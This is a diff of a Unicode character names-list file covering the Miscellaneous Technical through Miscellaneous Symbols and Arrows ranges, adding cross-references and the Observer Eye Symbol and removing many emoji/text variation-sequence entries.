 	x (black left-pointing isosceles right triangle - 1F780)
 23F5	BLACK MEDIUM RIGHT-POINTING TRIANGLE
 	= forward
 	* preferred to 25B6 black right-pointing triangle
+	x (black medium right-pointing triangle centred - 2BC8)
 	x (black right-pointing isosceles right triangle - 1F782)
 23F6	BLACK MEDIUM UP-POINTING TRIANGLE
 	= increase
 	* preferred to 25B2 black up-pointing triangle
+	x (black medium up-pointing triangle centred - 2BC5)
 	x (black up-pointing isosceles right triangle - 1F781)
 23F7	BLACK MEDIUM DOWN-POINTING TRIANGLE
 	= decrease
 	* preferred to 25BC black down-pointing triangle
+	x (black medium down-pointing triangle centred - 2BC6)
 	x (black down-pointing isosceles right triangle - 1F783)
 23F8	DOUBLE VERTICAL BAR
 	= pause
 	x (double vertical line - 2016)
-	~ 23F8 FE0E text style
-	~ 23F8 FE0F emoji style
 23F9	BLACK SQUARE FOR STOP
 	= stop
 	x (black medium square - 25FC)
-	~ 23F9 FE0E text style
-	~ 23F9 FE0F emoji style
 23FA	BLACK CIRCLE FOR RECORD
 	= record
 	x (medium black circle - 26AB)
-	~ 23FA FE0E text style
-	~ 23FA FE0F emoji style
 @		Power symbols from ISO 7000:2012
 23FB	POWER SYMBOL
 @+	* IEC 5009 standby symbol
@@ -14609,7 +14870,8 @@
 @		Power symbol from IEEE 1621-2004
 23FE	POWER SLEEP SYMBOL
 	x (last quarter moon - 263E)
-@~	!
+@		Miscellaneous symbol
+23FF	OBSERVER EYE SYMBOL
 @@	2400	Control Pictures	243F
 @+		The diagonal lettering glyphs are only exemplary; alternate representations may be, and often are used in the visible display of control codes.
 @		Graphic pictures for control codes
@@ -14894,8 +15156,6 @@
 24C1	CIRCLED LATIN CAPITAL LETTER L
 	# <circle> 004C
 24C2	CIRCLED LATIN CAPITAL LETTER M
-	~ 24C2 FE0E text style
-	~ 24C2 FE0F emoji style
 	# <circle> 004D
 24C3	CIRCLED LATIN CAPITAL LETTER N
 	# <circle> 004E
@@ -15005,7 +15265,6 @@
 @		Additional white on black circled number
 24FF	NEGATIVE CIRCLED DIGIT ZERO
 	x (dingbat negative circled digit one - 2776)
-@~	!
 @@	2500	Box Drawing	257F
 @+		All of these characters are intended for compatibility with character cell graphic sets in use prior to 1990.
 @		Light and heavy solid lines
@@ -15245,12 +15504,8 @@
 25AA	BLACK SMALL SQUARE
 	= square bullet
 	x (black very small square - 2B1D)
-	~ 25AA FE0E text style
-	~ 25AA FE0F emoji style
 25AB	WHITE SMALL SQUARE
 	x (white very small square - 2B1E)
-	~ 25AB FE0E text style
-	~ 25AB FE0F emoji style
 25AC	BLACK RECTANGLE
 25AD	WHITE RECTANGLE
 25AE	BLACK VERTICAL RECTANGLE
@@ -15263,7 +15518,7 @@
 25B1	WHITE PARALLELOGRAM
 25B2	BLACK UP-POINTING TRIANGLE
 	x (black medium up-pointing triangle - 23F6)
-	x (mountain - 26F0)
+	x (black medium up-pointing triangle centred - 2BC5)
 	x (up-pointing red triangle - 1F53A)
 25B3	WHITE UP-POINTING TRIANGLE
 	= trine
@@ -15276,8 +15531,7 @@
 25B5	WHITE UP-POINTING SMALL TRIANGLE
 25B6	BLACK RIGHT-POINTING TRIANGLE
 	x (black medium right-pointing triangle - 23F5)
-	~ 25B6 FE0E text style
-	~ 25B6 FE0F emoji style
+	x (black medium right-pointing triangle centred - 2BC8)
 25B7	WHITE RIGHT-POINTING TRIANGLE
 	= z notation range restriction
 25B8	BLACK RIGHT-POINTING SMALL TRIANGLE
@@ -15289,6 +15543,7 @@
 	x (contains as normal subgroup - 22B3)
 25BC	BLACK DOWN-POINTING TRIANGLE
 	x (black medium down-pointing triangle - 23F7)
+	x (black medium down-pointing triangle centred - 2BC6)
 	x (down-pointing red triangle - 1F53B)
 25BD	WHITE DOWN-POINTING TRIANGLE
 	= Hamilton operator
@@ -15300,8 +15555,7 @@
 25BF	WHITE DOWN-POINTING SMALL TRIANGLE
 25C0	BLACK LEFT-POINTING TRIANGLE
 	x (black medium left-pointing triangle - 23F4)
-	~ 25C0 FE0E text style
-	~ 25C0 FE0F emoji style
+	x (black medium left-pointing triangle centred - 2BC7)
 25C1	WHITE LEFT-POINTING TRIANGLE
 	= z notation domain restriction
 25C2	BLACK LEFT-POINTING SMALL TRIANGLE
@@ -15408,24 +15662,15 @@
 	= always (modal operator)
 	x (white square - 25A1)
 	x (white square with leftwards tick - 27E4)
-	~ 25FB FE0E text style
-	~ 25FB FE0F emoji style
 25FC	BLACK MEDIUM SQUARE
 	x (black square for stop - 23F9)
 	x (black square - 25A0)
-	~ 25FC FE0E text style
-	~ 25FC FE0F emoji style
 25FD	WHITE MEDIUM SMALL SQUARE
 	x (white small square - 25AB)
-	~ 25FD FE0E text style
-	~ 25FD FE0F emoji style
 25FE	BLACK MEDIUM SMALL SQUARE
 	x (black small square - 25AA)
-	~ 25FE FE0E text style
-	~ 25FE FE0F emoji style
 25FF	LOWER RIGHT TRIANGLE
 	x (right triangle - 22BF)
-@~	!
 @@	2600	Miscellaneous Symbols	26FF
 @@+
 @		Weather and astrological symbols
@@ -15433,28 +15678,21 @@
 	= clear weather
 	x (sun - 2609)
 	x (high brightness symbol - 1F506)
-	~ 2600 FE0E text style
-	~ 2600 FE0F emoji style
 2601	CLOUD
 	= cloudy weather
-	~ 2601 FE0E text style
-	~ 2601 FE0F emoji style
 2602	UMBRELLA
 	= rainy weather
 	x (closed umbrella - 1F302)
-	~ 2602 FE0E text style
-	~ 2602 FE0F emoji style
 2603	SNOWMAN
 	= snowy weather
-	~ 2603 FE0E text style
-	~ 2603 FE0F emoji style
 2604	COMET
-	~ 2604 FE0E text style
-	~ 2604 FE0F emoji style
 2605	BLACK STAR
 	x (star operator - 22C6)
+	x (black small star - 2B51)
+	x (light five pointed black star - 1F7C9)
 2606	WHITE STAR
 	x (stress outlined white star - 2729)
+	x (white medium star - 2B50)
 	x (glowing star - 1F31F)
 2607	LIGHTNING
 2608	THUNDERSTORM
@@ -15478,8 +15716,6 @@
 	x (telephone location sign - 2706)
 	x (telephone receiver - 1F4DE)
 	x (black touchtone telephone - 1F57F)
-	~ 260E FE0E text style
-	~ 260E FE0F emoji style
 260F	WHITE TELEPHONE
 	x (white touchtone telephone - 1F57E)
 2610	BALLOT BOX
@@ -15486,8 +15722,6 @@
 	x (white square - 25A1)
 2611	BALLOT BOX WITH CHECK
 	x (ballot box with bold check - 1F5F9)
-	~ 2611 FE0E text style
-	~ 2611 FE0F emoji style
 2612	BALLOT BOX WITH X
 	x (squared times - 22A0)
 	x (ballot box with light x - 2BBD)
@@ -15500,8 +15734,6 @@
 @		Weather symbol
 2614	UMBRELLA WITH RAIN DROPS
 	= showery weather
-	~ 2614 FE0E text style
-	~ 2614 FE0F emoji style
 @		Miscellaneous symbol
 2615	HOT BEVERAGE
 	= tea or coffee, depending on locale
@@ -15509,8 +15741,6 @@
 	x (watch - 231A)
 	x (hourglass - 231B)
 	x (teacup without handle - 1F375)
-	~ 2615 FE0E text style
-	~ 2615 FE0F emoji style
 @		Japanese chess symbols
 2616	WHITE SHOGI PIECE
 2617	BLACK SHOGI PIECE
@@ -15517,8 +15747,6 @@
 @		Miscellaneous symbols
 2618	SHAMROCK
 	x (four leaf clover - 1F340)
-	~ 2618 FE0E text style
-	~ 2618 FE0F emoji style
 2619	REVERSED ROTATED FLORAL HEART BULLET
 	* a binding signature mark
 	x (rotated floral heart bullet - 2767)
@@ -15531,8 +15759,6 @@
 	x (sideways white left pointing index - 1F598)
 261D	WHITE UP POINTING INDEX
 	x (sideways white up pointing index - 1F59E)
-	~ 261D FE0E text style
-	~ 261D FE0F emoji style
 261E	WHITE RIGHT POINTING INDEX
 	= fist (typographic term)
 	x (sideways white right pointing index - 1F599)
@@ -15543,15 +15769,9 @@
 2620	SKULL AND CROSSBONES
 	= poison
 	x (black skull and crossbones - 1F571)
-	~ 2620 FE0E text style
-	~ 2620 FE0F emoji style
 2621	CAUTION SIGN
 2622	RADIOACTIVE SIGN
-	~ 2622 FE0E text style
-	~ 2622 FE0F emoji style
 2623	BIOHAZARD SIGN
-	~ 2623 FE0E text style
-	~ 2623 FE0F emoji style
 @		Medical and healing symbols
 2624	CADUCEUS
 	x (staff of aesculapius - 2695)
@@ -15559,17 +15779,15 @@
 2625	ANKH
 @		Religious and political symbols
 2626	ORTHODOX CROSS
-	~ 2626 FE0E text style
-	~ 2626 FE0F emoji style
 2627	CHI RHO
 	= Constantine's cross, Christogram
 	x (coptic symbol khi ro - 2CE9)
 2628	CROSS OF LORRAINE
 2629	CROSS OF JERUSALEM
+	= simple cross potent
+	* contrasts with the actual cross of Jerusalem, which adds a small crosslet at each corner
 	x (alchemical symbol for vinegar - 1F70A)
 262A	STAR AND CRESCENT
-	~ 262A FE0E text style
-	~ 262A FE0F emoji style
 262B	FARSI SYMBOL
 	= symbol of iran (1.0)
 262C	ADI SHAKTI
@@ -15576,12 +15794,8 @@
 	= Gurmukhi khanda
 262D	HAMMER AND SICKLE
 262E	PEACE SYMBOL
-	~ 262E FE0E text style
-	~ 262E FE0F emoji style
 262F	YIN YANG
 	x (tibetan symbol nor bu nyis -khyil - 0FCA)
-	~ 262F FE0E text style
-	~ 262F FE0F emoji style
 @		Yijing trigram symbols
 2630	TRIGRAM FOR HEAVEN
 	= qian2
@@ -15602,19 +15816,13 @@
 @		Miscellaneous symbol
 2638	WHEEL OF DHARMA
 	x (helm symbol - 2388)
-	~ 2638 FE0E text style
-	~ 2638 FE0F emoji style
 @		Emoticons
 @+		Many other emoticons are encoded in the Emoticons block starting at 1F600.
 2639	WHITE FROWNING FACE
 	x (slightly frowning face - 1F641)
-	~ 2639 FE0E text style
-	~ 2639 FE0F emoji style
 263A	WHITE SMILING FACE
 	x (slightly smiling face - 1F642)
 	= have a nice day!
-	~ 263A FE0E text style
-	~ 263A FE0F emoji style
 263B	BLACK SMILING FACE
 @		Miscellaneous symbol
 263C	WHITE SUN WITH RAYS
@@ -15657,51 +15865,27 @@
 @+		See also Asian zodiacal symbols among the animal symbols in the range 1F400-1F418.
 2648	ARIES
 	x (ram - 1F40F)
-	~ 2648 FE0E text style
-	~ 2648 FE0F emoji style
 2649	TAURUS
-	~ 2649 FE0E text style
-	~ 2649 FE0F emoji style
 264A	GEMINI
-	~ 264A FE0E text style
-	~ 264A FE0F emoji style
 264B	CANCER
 	x (crab - 1F980)
-	~ 264B FE0E text style
-	~ 264B FE0F emoji style
 264C	LEO
 	x (lion face - 1F981)
-	~ 264C FE0E text style
-	~ 264C FE0F emoji style
 264D	VIRGO
 	= minim (alternate glyph)
-	~ 264D FE0E text style
-	~ 264D FE0F emoji style
 264E	LIBRA
 	x (scales - 2696)
 	x (alchemical symbol for sublimation - 1F75E)
-	~ 264E FE0E text style
-	~ 264E FE0F emoji style
 264F	SCORPIUS
 	= scorpio
 	= minim, drop
 	x (scorpion - 1F982)
-	~ 264F FE0E text style
-	~ 264F FE0F emoji style
 2650	SAGITTARIUS
 	x (bow and arrow - 1F3F9)
-	~ 2650 FE0E text style
-	~ 2650 FE0F emoji style
 2651	CAPRICORN
-	~ 2651 FE0E text style
-	~ 2651 FE0F emoji style
 2652	AQUARIUS
 	x (amphora - 1F3FA)
-	~ 2652 FE0E text style
-	~ 2652 FE0F emoji style
 2653	PISCES
-	~ 2653 FE0E text style
-	~ 2653 FE0F emoji style
 @		Chess symbols
 2654	WHITE CHESS KING
 2655	WHITE CHESS QUEEN
@@ -15717,8 +15901,6 @@
 265F	BLACK CHESS PAWN
 @		Playing card symbols
 2660	BLACK SPADE SUIT
-	~ 2660 FE0E text style
-	~ 2660 FE0F emoji style
 2661	WHITE HEART SUIT
 2662	WHITE DIAMOND SUIT
 	x (white diamond - 25C7)
@@ -15725,8 +15907,6 @@
 	x (lozenge - 25CA)
 2663	BLACK CLUB SUIT
 	x (shamrock - 2618)
-	~ 2663 FE0E text style
-	~ 2663 FE0F emoji style
 2664	WHITE SPADE SUIT
 2665	BLACK HEART SUIT
 	= valentine
@@ -15734,17 +15914,11 @@
 	x (heart with tip on the left - 1F394)
 	x (blue heart - 1F499)
 	x (black heart - 1F5A4)
-	~ 2665 FE0E text style
-	~ 2665 FE0F emoji style
 2666	BLACK DIAMOND SUIT
 	x (black diamond - 25C6)
-	~ 2666 FE0E text style
-	~ 2666 FE0F emoji style
 2667	WHITE CLUB SUIT
 @		Miscellaneous symbol
 2668	HOT SPRINGS
-	~ 2668 FE0E text style
-	~ 2668 FE0F emoji style
 @		Musical symbols
 2669	QUARTER NOTE
 	= crotchet
@@ -15789,8 +15963,6 @@
 	* used together with other text and labels to indicate the type of material to be recycled
 267B	BLACK UNIVERSAL RECYCLING SYMBOL
 	x (clockwise rightwards and leftwards open circle arrows - 1F501)
-	~ 267B FE0E text style
-	~ 267B FE0F emoji style
 267C	RECYCLED PAPER SYMBOL
 	* used to indicate 100% recycled paper content
 267D	PARTIALLY-RECYCLED PAPER SYMBOL
@@ -15798,8 +15970,6 @@
 @		Miscellaneous symbols
 267E	PERMANENT PAPER SIGN
 267F	WHEELCHAIR SYMBOL
-	~ 267F FE0E text style
-	~ 267F FE0F emoji style
 @		Dice
 2680	DIE FACE-1
 	x (game die - 1F3B2)
@@ -15830,17 +16000,11 @@
 	= mining, working day (in timetables)
 	x (pick - 26CF)
 	x (hammer and wrench - 1F6E0)
-	~ 2692 FE0E text style
-	~ 2692 FE0F emoji style
 2693	ANCHOR
 	= nautical term, harbor (on maps)
-	~ 2693 FE0E text style
-	~ 2693 FE0F emoji style
 2694	CROSSED SWORDS
 	= military term, battleground (on maps), killed in action
 	x (fencer - 1F93A)
-	~ 2694 FE0E text style
-	~ 2694 FE0F emoji style
 2695	STAFF OF AESCULAPIUS
 	= medical term
 	* both inclined or upright renderings of this symbol are common
@@ -15849,13 +16013,9 @@
 2696	SCALES
 	= legal term, jurisprudence
 	x (libra - 264E)
-	~ 2696 FE0E text style
-	~ 2696 FE0F emoji style
 2697	ALEMBIC
 	= chemical term, chemistry
 	x (alchemical symbol for retort - 1F76D)
-	~ 2697 FE0E text style
-	~ 2697 FE0F emoji style
 2698	FLOWER
 	= botanical term
 	x (flower punctuation mark - 2055)
@@ -15863,19 +16023,13 @@
 	x (tulip - 1F337)
 2699	GEAR
 	= technology, tools
-	~ 2699 FE0E text style
-	~ 2699 FE0F emoji style
 269A	STAFF OF HERMES
 	* signifies a commercial term or commerce
 	* glyph shows a heraldic staff with a winged wheel
 269B	ATOM SYMBOL
 	= nuclear installation (on maps)
-	~ 269B FE0E text style
-	~ 269B FE0F emoji style
 @		Miscellaneous symbols
 269C	FLEUR-DE-LIS
-	~ 269C FE0E text style
-	~ 269C FE0F emoji style
 269D	OUTLINED WHITE STAR
 	* alternative form of the interlaced pentagram (a symbol of Morocco)
 	x (right-handed interlaced pentagram - 26E5)
@@ -15889,14 +16043,10 @@
 @		Miscellaneous symbols
 26A0	WARNING SIGN
 	x (octagonal sign - 1F6D1)
-	~ 26A0 FE0E text style
-	~ 26A0 FE0F emoji style
 26A1	HIGH VOLTAGE SIGN
 	= thunder
 	= lightning symbol
 	x (lightning mood - 1F5F2)
-	~ 26A1 FE0E text style
-	~ 26A1 FE0F emoji style
 @		Gender symbols
 26A2	DOUBLED FEMALE SIGN
 	= lesbianism
@@ -15926,13 +16076,9 @@
 	= engaged, betrothed
 	* base for male or female sign
 	x (medium bold white circle - 1F785)
-	~ 26AA FE0E text style
-	~ 26AA FE0F emoji style
 26AB	MEDIUM BLACK CIRCLE
 	* UI symbol for record function
 	x (black circle for record - 23FA)
-	~ 26AB FE0E text style
-	~ 26AB FE0F emoji style
 26AC	MEDIUM SMALL WHITE CIRCLE
 	= engaged, betrothed (genealogy)
 	* can represent wedding ring
@@ -15947,12 +16093,8 @@
 26B0	COFFIN
 	= buried (genealogy)
 	x (white rectangle - 25AD)
-	~ 26B0 FE0E text style
-	~ 26B0 FE0F emoji style
 26B1	FUNERAL URN
 	= cremated (genealogy)
-	~ 26B1 FE0E text style
-	~ 26B1 FE0F emoji style
 @		Gender symbol
 26B2	NEUTER
 @		Astrological signs
@@ -15974,11 +16116,7 @@
 @		Sport symbols
 @+		See other sport symbols in the Miscellaneous Symbols and Pictographs block.
 26BD	SOCCER BALL
-	~ 26BD FE0E text style
-	~ 26BD FE0F emoji style
 26BE	BASEBALL
-	~ 26BE FE0E text style
-	~ 26BE FE0F emoji style
 @		Miscellaneous symbol from ARIB STD B24
 26BF	SQUARED KEY
 	= parental lock
@@ -15991,13 +16129,9 @@
 @		Weather symbols from ARIB STD B24
 26C4	SNOWMAN WITHOUT SNOW
 	= light snow
-	~ 26C4 FE0E text style
-	~ 26C4 FE0F emoji style
 26C5	SUN BEHIND CLOUD
 	= partly cloudy
 	x (white sun with small cloud - 1F324)
-	~ 26C5 FE0E text style
-	~ 26C5 FE0F emoji style
 26C6	RAIN
 	= rainy weather
 26C7	BLACK SNOWMAN
@@ -16005,8 +16139,6 @@
 26C8	THUNDER CLOUD AND RAIN
 	= thunderstorm
 	x (cloud with lightning - 1F329)
-	~ 26C8 FE0E text style
-	~ 26C8 FE0F emoji style
 @		Game symbols from ARIB STD B24
 26C9	TURNED WHITE SHOGI PIECE
 26CA	TURNED BLACK SHOGI PIECE
@@ -16024,26 +16156,18 @@
 	= under construction
 	x (hammer and pick - 2692)
 	x (construction sign - 1F6A7)
-	~ 26CF FE0E text style
-	~ 26CF FE0F emoji style
 26D0	CAR SLIDING
 	= icy road
 26D1	HELMET WITH WHITE CROSS
 	= maintenance
 	x (construction worker - 1F477)
-	~ 26D1 FE0E text style
-	~ 26D1 FE0F emoji style
 26D2	CIRCLED CROSSING LANES
 	= road closed
 	x (circled times - 2297)
 26D3	CHAINS
 	= tyre chains required
-	~ 26D3 FE0E text style
-	~ 26D3 FE0F emoji style
 26D4	NO ENTRY
 	x (no entry sign - 1F6AB)
-	~ 26D4 FE0E text style
-	~ 26D4 FE0F emoji style
 26D5	ALTERNATE ONE-WAY LEFT WAY TRAFFIC
 	* left side traffic
 26D6	BLACK TWO-WAY LEFT WAY TRAFFIC
@@ -16094,11 +16218,7 @@
 	x (hospital - 1F3E5)
 26E9	SHINTO SHRINE
 	= torii
-	~ 26E9 FE0E text style
-	~ 26E9 FE0F emoji style
 26EA	CHURCH
-	~ 26EA FE0E text style
-	~ 26EA FE0F emoji style
 26EB	CASTLE
 	x (european castle - 1F3F0)
 26EC	HISTORIC SITE
@@ -16111,55 +16231,34 @@
 	= power plant, power substation
 26EF	MAP SYMBOL FOR LIGHTHOUSE
 26F0	MOUNTAIN
-	x (black up-pointing triangle - 25B2)
 	x (snow capped mountain - 1F3D4)
-	~ 26F0 FE0E text style
-	~ 26F0 FE0F emoji style
 26F1	UMBRELLA ON GROUND
 	= bathing beach
 	x (umbrella - 2602)
 	x (beach with umbrella - 1F3D6)
-	~ 26F1 FE0E text style
-	~ 26F1 FE0F emoji style
 26F2	FOUNTAIN
 	= park
-	~ 26F2 FE0E text style
-	~ 26F2 FE0F emoji style
 26F3	FLAG IN HOLE
 	= golf course
 	x (triangular flag on post - 1F6A9)
-	~ 26F3 FE0E text style
-	~ 26F3 FE0F emoji style
 26F4	FERRY
 	= ferry boat terminal
 	x (ship - 1F6A2)
-	~ 26F4 FE0E text style
-	~ 26F4 FE0F emoji style
 26F5	SAILBOAT
 	= marina or yacht harbour
 	x (rowboat - 1F6A3)
-	~ 26F5 FE0E text style
-	~ 26F5 FE0F emoji style
 26F6	SQUARE FOUR CORNERS
 	= intersection
 26F7	SKIER
 	= ski resort
 	x (ski and ski boot - 1F3BF)
-	~ 26F7 FE0E text style
-	~ 26F7 FE0F emoji style
 26F8	ICE SKATE
 	= ice skating rink
-	~ 26F8 FE0E text style
-	~ 26F8 FE0F emoji style
 26F9	PERSON WITH BALL
 	= track and field, gymnasium
-	~ 26F9 FE0E text style
-	~ 26F9 FE0F emoji style
 26FA	TENT
 	= camping site
 	x (camping - 1F3D5)
-	~ 26FA FE0E text style
-	~ 26FA FE0F emoji style
 26FB	JAPANESE BANK SYMBOL
 	x (bank - 1F3E6)
 26FC	HEADSTONE GRAVEYARD SYMBOL
@@ -16166,8 +16265,6 @@
 	= graveyard, memorial park, cemetery
 26FD	FUEL PUMP
 	= petrol station, gas station
-	~ 26FD FE0E text style
-	~ 26FD FE0F emoji style
 26FE	CUP ON BLACK SQUARE
 	= drive-in restaurant
 	x (hot beverage - 2615)
@@ -16174,7 +16271,6 @@
 	x (teacup without handle - 1F375)
 26FF	WHITE FLAG WITH HORIZONTAL MIDDLE BLACK STRIPE
 	= Japanese self-defence force site
-@~	!
 @@	2700	Dingbats	27BF
 @+		ITC Zapf dingbats series 100. Some of the ITC Zapf dingbats have been unified with geometric shape characters. Gaps in the chart have subsequently been filled with other dingbat-like symbols.
 	x (black telephone - 260E)
@@ -16194,8 +16290,6 @@
 	* forms a pair with 2704 white scissors
 2701	UPPER BLADE SCISSORS
 2702	BLACK SCISSORS
-	~ 2702 FE0E text style
-	~ 2702 FE0F emoji style
 2703	LOWER BLADE SCISSORS
 2704	WHITE SCISSORS
 2705	WHITE HEAVY CHECK MARK
@@ -16206,13 +16300,9 @@
 2707	TAPE DRIVE
 2708	AIRPLANE
 	x (up-pointing airplane - 1F6E7)
-	~ 2708 FE0E text style
-	~ 2708 FE0F emoji style
 2709	ENVELOPE
 	x (incoming envelope - 1F4E8)
 	x (back of envelope - 1F582)
-	~ 2709 FE0E text style
-	~ 2709 FE0F emoji style
 270A	RAISED FIST
 	= rock in Rock, Paper, Scissors game
 	x (fisted hand sign - 1F44A)
@@ -16223,35 +16313,23 @@
 270C	VICTORY HAND
 	= scissors in Rock, Paper, Scissors game
 	x (reversed victory hand - 1F594)
-	~ 270C FE0E text style
-	~ 270C FE0F emoji style
 270D	WRITING HAND
 	x (left writing hand - 1F58E)
-	~ 270D FE0E text style
-	~ 270D FE0F emoji style
 270E	LOWER RIGHT PENCIL
 	x (lower left pencil - 1F589)
 270F	PENCIL
-	~ 270F FE0E text style
-	~ 270F FE0F emoji style
 2710	UPPER RIGHT PENCIL
 2711	WHITE NIB
 	x (lower left fountain pen - 1F58B)
 2712	BLACK NIB
-	~ 2712 FE0E text style
-	~ 2712 FE0F emoji style
 2713	CHECK MARK
 	x (square root - 221A)
 	x (light check mark - 1F5F8)
 2714	HEAVY CHECK MARK
-	~ 2714 FE0E text style
-	~ 2714 FE0F emoji style
 2715	MULTIPLICATION X
 	x (multiplication sign - 00D7)
 	x (box drawings light diagonal cross - 2573)
 2716	HEAVY MULTIPLICATION X
-	~ 2716 FE0E text style
-	~ 2716 FE0F emoji style
 2717	BALLOT X
 	x (saltire - 2613)
 	x (ballot script x - 1F5F4)
@@ -16264,18 +16342,15 @@
 271B	OPEN CENTRE CROSS
 271C	HEAVY OPEN CENTRE CROSS
 271D	LATIN CROSS
-	~ 271D FE0E text style
-	~ 271D FE0F emoji style
 271E	SHADOWED WHITE LATIN CROSS
 	x (white latin cross - 1F546)
 271F	OUTLINED LATIN CROSS
 2720	MALTESE CROSS
 	* Historically, the Maltese cross took many forms; the shape shown in the Zapf Dingbats is similar to one known as the Cross Formée.
+	x (circled cross formee - 1F902)
 @		Stars and asterisks
 2721	STAR OF DAVID
 	x (six pointed star with middle dot - 1F52F)
-	~ 2721 FE0E text style
-	~ 2721 FE0F emoji style
 2722	FOUR TEARDROP-SPOKED ASTERISK
 2723	FOUR BALLOON-SPOKED ASTERISK
 2724	HEAVY FOUR BALLOON-SPOKED ASTERISK
@@ -16301,11 +16376,7 @@
 2732	OPEN CENTRE ASTERISK
 2733	EIGHT SPOKED ASTERISK
 	x (light eight spoked asterisk - 1F7BB)
-	~ 2733 FE0E text style
-	~ 2733 FE0F emoji style
 2734	EIGHT POINTED BLACK STAR
-	~ 2734 FE0E text style
-	~ 2734 FE0F emoji style
 2735	EIGHT POINTED PINWHEEL STAR
 	x (heavy eight pointed pinwheel star - 1F7D1)
 2736	SIX POINTED BLACK STAR
@@ -16332,13 +16403,9 @@
 2742	CIRCLED OPEN CENTRE EIGHT POINTED STAR
 2743	HEAVY TEARDROP-SPOKED PINWHEEL ASTERISK
 2744	SNOWFLAKE
-	~ 2744 FE0E text style
-	~ 2744 FE0F emoji style
 2745	TIGHT TRIFOLIATE SNOWFLAKE
 2746	HEAVY CHEVRON SNOWFLAKE
 2747	SPARKLE
-	~ 2747 FE0E text style
-	~ 2747 FE0F emoji style
 2748	HEAVY SPARKLE
 2749	BALLOON-SPOKED ASTERISK
 	= jack
@@ -16363,8 +16430,6 @@
 2756	BLACK DIAMOND MINUS WHITE X
 2757	HEAVY EXCLAMATION MARK SYMBOL
 	= obstacles on the road, ARIB STD B24
-	~ 2757 FE0E text style
-	~ 2757 FE0F emoji style
 2758	LIGHT VERTICAL BAR
 	x (vertical line - 007C)
 2759	MEDIUM VERTICAL BAR
@@ -16390,12 +16455,8 @@
 2762	HEAVY EXCLAMATION MARK ORNAMENT
 	x (exclamation mark - 0021)
 2763	HEAVY HEART EXCLAMATION MARK ORNAMENT
-	~ 2763 FE0E text style
-	~ 2763 FE0F emoji style
 2764	HEAVY BLACK HEART
 	x (black heart suit - 2665)
-	~ 2764 FE0E text style
-	~ 2764 FE0F emoji style
 2765	ROTATED HEAVY BLACK HEART BULLET
 @		Fleurons
 2766	FLORAL HEART
@@ -16484,8 +16545,6 @@
 	* fonts may harmonize this glyph with the style for other black arrows
 	x (leftwards black arrow - 2B05)
 	x (rightwards black arrow - 2B95)
-	~ 27A1 FE0E text style
-	~ 27A1 FE0F emoji style
 27A2	THREE-D TOP-LIGHTED RIGHTWARDS ARROWHEAD
 	x (three-d top-lighted rightwards equilateral arrowhead - 2B9A)
 27A3	THREE-D BOTTOM-LIGHTED RIGHTWARDS ARROWHEAD
@@ -16530,7 +16589,6 @@
 27BE	OPEN-OUTLINED RIGHTWARDS ARROW
 @		Miscellaneous
 27BF	DOUBLE CURLY LOOP
-@~	!
 @@	27C0	Miscellaneous Mathematical Symbols-A	27EF
 @		Miscellaneous symbols
 27C0	THREE DIMENSIONAL ANGLE
@@ -17059,11 +17117,7 @@
 	x (rightwards wave arrow - 219D)
 	x (wave arrow pointing directly left - 2B3F)
 2934	ARROW POINTING RIGHTWARDS THEN CURVING UPWARDS
-	~ 2934 FE0E text style
-	~ 2934 FE0F emoji style
 2935	ARROW POINTING RIGHTWARDS THEN CURVING DOWNWARDS
-	~ 2935 FE0E text style
-	~ 2935 FE0F emoji style
 2936	ARROW POINTING DOWNWARDS THEN CURVING LEFTWARDS
 2937	ARROW POINTING DOWNWARDS THEN CURVING RIGHTWARDS
 2938	RIGHT-SIDE ARC CLOCKWISE ARROW
@@ -17156,7 +17210,6 @@
 297D	RIGHT FISH TAIL
 297E	UP FISH TAIL
 297F	DOWN FISH TAIL
-@~	!
 @@	2980	Miscellaneous Mathematical Symbols-B	29FF
 @		Miscellaneous mathematical symbols
 2980	TRIPLE VERTICAL BAR DELIMITER
@@ -17338,6 +17391,7 @@
 29E7	THERMODYNAMIC
 	* vertical bar crossed by two horizontals
 	x (not equal to - 2260)
+	x (group mark - 2BD2)
 29E8	DOWN-POINTING TRIANGLE WITH LEFT HALF BLACK
 	x (up-pointing triangle with left half black - 25ED)
 29E9	DOWN-POINTING TRIANGLE WITH RIGHT HALF BLACK
@@ -17811,14 +17865,8 @@
 2B05	LEFTWARDS BLACK ARROW
 	x (black rightwards arrow - 27A1)
 	x (rightwards black arrow - 2B95)
-	~ 2B05 FE0E text style
-	~ 2B05 FE0F emoji style
 2B06	UPWARDS BLACK ARROW
-	~ 2B06 FE0E text style
-	~ 2B06 FE0F emoji style
 2B07	DOWNWARDS BLACK ARROW
-	~ 2B07 FE0E text style
-	~ 2B07 FE0F emoji style
 2B08	NORTH EAST BLACK ARROW
 2B09	NORTH WEST BLACK ARROW
 2B0A	SOUTH EAST BLACK ARROW
@@ -17846,12 +17894,8 @@
 2B1A	DOTTED SQUARE
 2B1B	BLACK LARGE SQUARE
 	x (black square - 25A0)
-	~ 2B1B FE0E text style
-	~ 2B1B FE0F emoji style
 2B1C	WHITE LARGE SQUARE
 	x (white square - 25A1)
-	~ 2B1C FE0E text style
-	~ 2B1C FE0F emoji style
 2B1D	BLACK VERY SMALL SQUARE
 	x (black small square - 25AA)
 2B1E	WHITE VERY SMALL SQUARE
@@ -17960,11 +18004,11 @@
 	* slight fall or overall fall in tone when at the end of a word or at the beginning of a phrase, respectively
 @		Stars
 2B50	WHITE MEDIUM STAR
-	x (star operator - 22C6)
-	~ 2B50 FE0E text style
-	~ 2B50 FE0F emoji style
+	x (white star - 2606)
 2B51	BLACK SMALL STAR
 	x (arabic five pointed star - 066D)
+	x (star operator - 22C6)
+	x (black star - 2605)
 2B52	WHITE SMALL STAR
 @		Pentagons
 2B53	BLACK RIGHT-POINTING PENTAGON
@@ -17974,8 +18018,6 @@
 	= basic symbol for speed limit
 	* forms a game tally pair with 274C
 	x (large circle - 25EF)
-	~ 2B55 FE0E text style
-	~ 2B55 FE0F emoji style
 @		Dictionary and map symbols from ARIB STD B24
 2B56	HEAVY OVAL WITH OVAL INSIDE
 	= prefectural office
@@ -18056,9 +18098,11 @@
 	= end
 2B79	SOUTH WEST TRIANGLE-HEADED ARROW TO BAR
 2B7A	LEFTWARDS TRIANGLE-HEADED ARROW WITH DOUBLE HORIZONTAL STROKE
+	% LEFTWARDS TRIANGLE-HEADED ARROW WITH DOUBLE VERTICAL STROKE
 2B7B	UPWARDS TRIANGLE-HEADED ARROW WITH DOUBLE HORIZONTAL STROKE
 	= page up
 2B7C	RIGHTWARDS TRIANGLE-HEADED ARROW WITH DOUBLE HORIZONTAL STROKE
